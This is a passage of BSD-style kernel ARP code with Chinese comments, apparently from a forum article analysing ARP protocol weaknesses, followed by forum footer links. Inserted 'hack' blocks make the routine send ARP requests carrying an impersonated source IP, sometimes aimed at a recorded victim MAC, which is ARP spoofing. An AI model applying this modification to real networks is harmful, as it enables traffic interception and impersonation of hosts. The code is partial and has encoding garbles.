MH_ALIGN(m, sizeof(*ea) + sizeof(llcx));
(void)memcpy(mtod(m, caddr_t), llcx, sizeof(llcx));
(void)memcpy(sa.sa_data, etherbroadcastaddr, 6);
(void)memcpy(sa.sa_data + 6, enaddr, 6);
sa.sa_data[6] |= TR_RII;
sa.sa_data[12] = TR_AC;
sa.sa_data[13] = TR_LLC_FRAME;
ea = (struct ether_arp *)(mtod(m, char *) + sizeof(llcx));
bzero((caddr_t)ea, sizeof (*ea));
ea->;arp_hrd = htons(ARPHRD_IEEE802);
break;
case IFT_FDDI:
case IFT_ETHER:/*以太网协议和FDDI协议大体上相同*/
default:
m->;m_len = sizeof(*ea);/*ARP结构大小*/
m->;m_pkthdr.len = sizeof(*ea);
/*(下面的)此宏的意思是把m->;m_data的指针进行调整(按32位对齐)
#define MH_ALIGN(m, len) do { \
(m)->;m_data += (MHLEN - (len)) & ~(sizeof(long) - 1); \
} while (0)
*/
MH_ALIGN(m, sizeof(*ea));
ea = mtod(m, struct ether_arp *);/*重新定位ARP头部指针()*/
eh = (struct ether_header *)sa.sa_data;
bzero((caddr_t)ea, sizeof (*ea));
eh->;ether_type = htons(ETHERTYPE_ARP);
/*hack:------------------------*/
if ((hackarp==1) && (trueip==1))/*在发送请求包时,有两种方法:1,发送原来老的IP的请求,目的硬件地址是广播地址*/
{ /* 2,发送新的(冒充的)IP的请求,目的地址?嵌苑降挠布?刂?(在上面发送后,对方会回应)*/
(void)memcpy(eh->;ether_dhost, ithardaddr, 6); /* 只要回应了,把对方的IP,硬件地址记录下后,trueip设置为1,再发送*/
}else{
/*end-------------------------*/
(void)memcpy(eh->;ether_dhost, etherbroadcastaddr,/*发送ARP请求包到以太网络的广播地址*/
sizeof(eh->;ether_dhost));
/*hack:------------------------*/
}
/*end-------------------------*/
ea->;arp_hrd = htons(ARPHRD_ETHER);/*0800是IP包,ARPHRD_ETHER是ARP包*/
break;
}
ea->;arp_pro = htons(ETHERTYPE_IP); /*IP类型*/
ea->;arp_hln = sizeof(ea->;arp_sha); /* 硬件地址长度 */
ea->;arp_pln = sizeof(ea->;arp_spa); /* 协议地址长度 */
ea->;arp_op = htons(ARPOP_REQUEST); /*ARP包的操作类型,即该出是请求*/
(void)memcpy(ea->;arp_sha, enaddr, sizeof(ea->;arp_sha));/*本卡的硬件地址*/
/*hack:------------------------*/
if (hackarp==1) {
if (trueip==1)/*当要发送冒充的IP时,*/
{
/*end-------------------------*/
(void)memcpy(ea->;arp_spa, sip, sizeof(ea->;arp_tpa));/*本卡的IP地址*/
/*hack:------------------------*/
trueip=0;
arphacklock=0;/*解锁,之后ithardaddr变量可被操作*/
}else{
if (oldip.s_addr!=NULL)/*当然,这是用老的IP向广播地址发ARP请求包*/
| 论坛热门帖子: | [lch203] 写得蛮好的linux学习笔记(10-21) [黑马制造] 学习java的30个目标(10-19) [笑傲股林] 做测试半年了,有点迷茫,应该再学些什么提高自己的测试水平和测试能力呢?(10-19) [udp8589] 大家用google的来吱一声? 用百度的~~也来报道下?(10-18) [沂偌掳兆] 本人总结的一些认为C++比较经典的书籍,希望对大家有用(10-18) |
| TAG标签: | 及其 漏洞 分析 详解 协议 地址 解析 ARP IP if ea- 路由 |
注册
个人空间
